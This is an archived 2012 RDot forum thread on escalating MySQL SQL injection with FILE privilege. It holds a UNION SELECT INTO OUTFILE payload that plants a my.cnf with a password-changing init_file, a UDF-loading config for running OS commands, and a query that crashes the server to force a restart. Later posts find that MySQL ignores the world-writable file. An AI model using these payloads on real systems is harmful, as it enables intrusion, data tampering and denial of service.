RDot

RDot (https://rdot.org/forum/index.php)
-   Чужие статьи/Переводы;Foreign articles/translations (https://rdot.org/forum/forumdisplay.php?f=32)
-   -   Выполнение подзапросов и команд ОС в инъекциях SELECT под MySQL (https://rdot.org/forum/showthread.php?t=2025)

d0znpp 04.03.2012 22:10

Выполнение подзапросов и команд ОС в инъекциях SELECT под MySQL
 
We would like to open our blog notes on the practical implementation of the SQL-injections.
And also we try to focus more attention on the practical aspects of web application security in the future.

SQL injections are the most common server-side Web application vulnerabilities and meet almost every audit in our practice.
Very often it happens that through these vulnerabilities we can write files (granted FILE_PRIV).
The simplest way of the exploitation in this case - write executable script (i.e. shell.php) in www-root (i.e. /var/www/).
But sometimes there is no filesystem rights to write in /var/www.

We would like to present a method for the operation of these vulnerabilities to execute arbitrary queries and even commands (tested in Debian lenny).
This is not the easiest attack vector, but it is possible!

The idea is very simple and is to replace the file my.cnf. This configuration file is write-protected directory:
-rw-r--r-- 1 root root 3596 /etc/mysql/my.cnf
#debian lenny
However, if you write my.cnf in DATADIR it will work! And DATADIR is writable always:
drwx------ 4 mysql mysql 4096 /var/lib/mysql
#debian lenny

Then look at documentation:
http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html#sysvar_init_connect
http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html#sysvar_init_file
http://dev.mysql.com/doc/refman/5.1/en/replication-options-slave.html#sysvar_init_slave

Finally, attack vector will be like that:
'AND 1=2 UNION SELECT '[mysqld]\ninit_file="update users set passwd=123 where id=0"\n#'
INTO OUTFILE '/var/lib/mysql/my.cnf'-- -

Now you can execute any query from SQL-injection into SELECT statement and FILE_PRIV.
Query in init-connect will be executed after the non-SUPER user logs in.
And there is another problem - you must somehow restart MySQL daemon.
The easiest way to wait until it happens naturally.
But you can always send a hard query to exceed a memory limit.
Then OOM Killer make your job ;)

On MySQL 5.1.2+ (required by http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html#sysvar_plugin_dir) you can also execute OS commands by my.cnf like that:
[mysqld]
plugin_dir = /var/tmp/aaa # 5.1.2+ only
init-connect = "CREATE FUNCTION do_system RETURNS INTEGER SONAME 'so_system.so.0.0';"
# 2 3 4 5 6 7 8 9 10 11
Where /var/tmp/aaa is any writable directory, so_system.so.0.0 is your binary library.

Origin: http://lab.onsec.ru/2012/03/advanced-sqli-exploitation-with.html

l1ght 05.03.2012 07:21

Цитата:

However, if you write my.cnf in DATADIR it will work!
и почему конфиг должен грузиться из @datadir?

Код:

root@sds3 /var/lib/mysql # ls -lia my.cnf
6930768 -rw-rw-rw- 1 mysql mysql 42 2012-03-05 05:59 my.cnf

root@sds3 /var/lib/mysql # cat my.cnf
[mysqld]
 plugin_dir = /tmp

root@sds3 /var/lib/mysql # /etc/init.d/mysql restart
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service mysql restart

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the restart(8) utility, e.g. restart mysql
mysql start/running, process 30158

root@sds3 /var/lib/mysql # mysql -uroot -ppwd
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 991
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create function sys_exec returns int soname 'lib_mysqludf_sys.so';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 22 /usr/lib/mysql/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or directory)


d0znpp 05.03.2012 10:34

Цитата:

Query in init-connect will be executed after the non-SUPER user logs in.
Может поэтому

l1ght 05.03.2012 12:17

Цитата:

Сообщение от d0znpp (Сообщение 24192)
Может поэтому

вопрос внимательно прочитал?

каким образом
Цитата:

Query in init-connect will be executed after the non-SUPER user logs in.
если конфиг с запросом в init-connect не подключен?

скрины покажи пожалуйста & cat /etc/mysql/my.cnf

d0znpp 05.03.2012 14:17

Проверь просто, у тебя конфиг из /var/lib/mysql/my.cnf вообще воспринимается?
На любой там другой директиве, не надо сразу plugin_dir.

l1ght 05.03.2012 14:45

нет, не воспринимается

по теме: полезно не только для заливки шелла, можно обойти disable_functions через выполнение команд mysql
насчет ребута,писал когда-то на античате: mysql крашиться от такого запроса

Код:

select 1 from table procedure analyse ((select 1 from (select 1)a),1);
Код:

mysql> SHOW STATUS LIKE 'Uptime';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Uptime        | 5918  |
+---------------+-------+
1 row in set (0.00 sec)

mysql> select 1 from mysql.user procedure analyse((select 1 from (select 1)a),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query

mysql> SHOW STATUS LIKE 'Uptime';
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    288
Current database: *** NONE ***

+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Uptime        | 11    |
+---------------+-------+
1 row in set (0.00 sec)

+ ещё одно условие забыл - права на create
а вообще от какого юзверя mysql выполнится запрос?
оставь аську если можно, неудобно через форум

d0znpp 05.03.2012 14:57

Там видимо не mysqld_safe тогда у тебя
Про права на create - ну это ес-но если выполняешь create, то должны быть права на него :)

d0znpp 05.03.2012 14:59

Цитата:

Сообщение от l1ght (Сообщение 24210)
нет, не воспринимается

по теме: полезно не только для заливки шелла, можно обойти disable_functions через выполнение команд mysql
насчет ребута,писал когда-то на античате: mysql крашиться от такого запроса

Код:

select 1 from table procedure analyse ((select 1 from (select 1)a),1);

ой как круто, а можешь от от себя в комментах написать на http://lab.onsec.ru/2012/03/advanced-sqli-exploitation-with.html чтобы всякие буржуины тоже увидели )

tex 05.03.2012 15:38

Warning: World-writable config file '/var/lib/mysql/my.cnf' is ignored

d0znpp 05.03.2012 15:52

пока не понял механизма, но ты прав.
into outfile/dumpfile ставит такие права, и ничего не выполняется.
надо смотреть случаи подробнее

Это реальная гадость, которая есть начиная с какой-то версии


Часовой пояс GMT +3, время: 12:24.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot